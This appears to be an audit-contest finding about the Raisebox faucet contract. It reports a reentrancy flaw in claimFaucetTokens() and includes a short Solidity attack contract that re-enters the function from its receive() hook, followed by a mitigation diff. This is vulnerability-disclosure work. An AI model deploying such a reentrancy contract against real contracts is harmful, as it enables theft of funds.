Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
Submission Details
Impact: high
Likelihood: high

Reentrancy risk due to unsafe state update order in claim function

Author Revealed upon completion

Root + Impact

Description

Expected behavior:

The claimFaucetTokens() function should follow the Checks–Effects–Interactions pattern strictly — meaning all internal state changes (like updating claim timestamps and counters) should occur before any external call (like sending ETH).

Actual behavior:

In the current implementation, the contract performs an external call to faucetClaimer.call{value: sepEthAmountToDrip} before updating critical state variables such as lastClaimTime and dailyClaimCount.

This introduces a reentrancy risk, because a malicious contract could re-enter claimFaucetTokens() through the ETH transfer fallback and claim multiple times before state updates are finalized.

// Root cause in the codebase with @> marks to highlight the relevant section
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
...
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
@> // <-- External call happens here
@> // but `lastClaimTime` and `dailyClaimCount` are updated AFTER this
}

Risk

Likelihood

1.Medium to High — The function performs a low-level call with value, which can be exploited by contracts with fallback logic.

2.Occurs naturally during normal claim flow when ETH is sent.

Impact

1.Double claim attack: A malicious contract could re-enter before cooldown and claim multiple times within a single transaction.

2.Cooldown bypass: Attackers could manipulate claim timing and daily limits.

3.Drained faucet: ETH or token balances could be exhausted due to recursive claims.

Proof of Concept

Explanation:

This PoC creates a malicious contract that re-enters claimFaucetTokens() upon receiving ETH.

Because the faucet only updates lastClaimTime after the ETH transfer, the reentrant call can occur multiple times, bypassing claim cooldowns and limits — effectively draining the faucet’s ETH or token reserves.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IFaucet {
function claimFaucetTokens() external;
}
contract ReentrancyAttack {
IFaucet public faucet;
bool public attacked;
constructor(address faucetAddress) {
faucet = IFaucet(faucetAddress);
}
receive() external payable {
if (!attacked) {
attacked = true;
faucet.claimFaucetTokens(); // re-enter before state updates
}
}
function attack() external {
faucet.claimFaucetTokens();
}
}

Recommended Mitigation

This ensures all bookkeeping happens before external calls.

Additionally, using nonReentrant (from OpenZeppelin’s ReentrancyGuard) adds another layer of protection against re-entry exploits.

- remove this code
+ add this code
function claimFaucetTokens() public nonReentrant {
faucetClaimer = msg.sender;
- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
+ // Update state before sending ETH
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
+ // Now perform external interaction safely
+ (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
+ require(success, "ETH transfer failed");
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.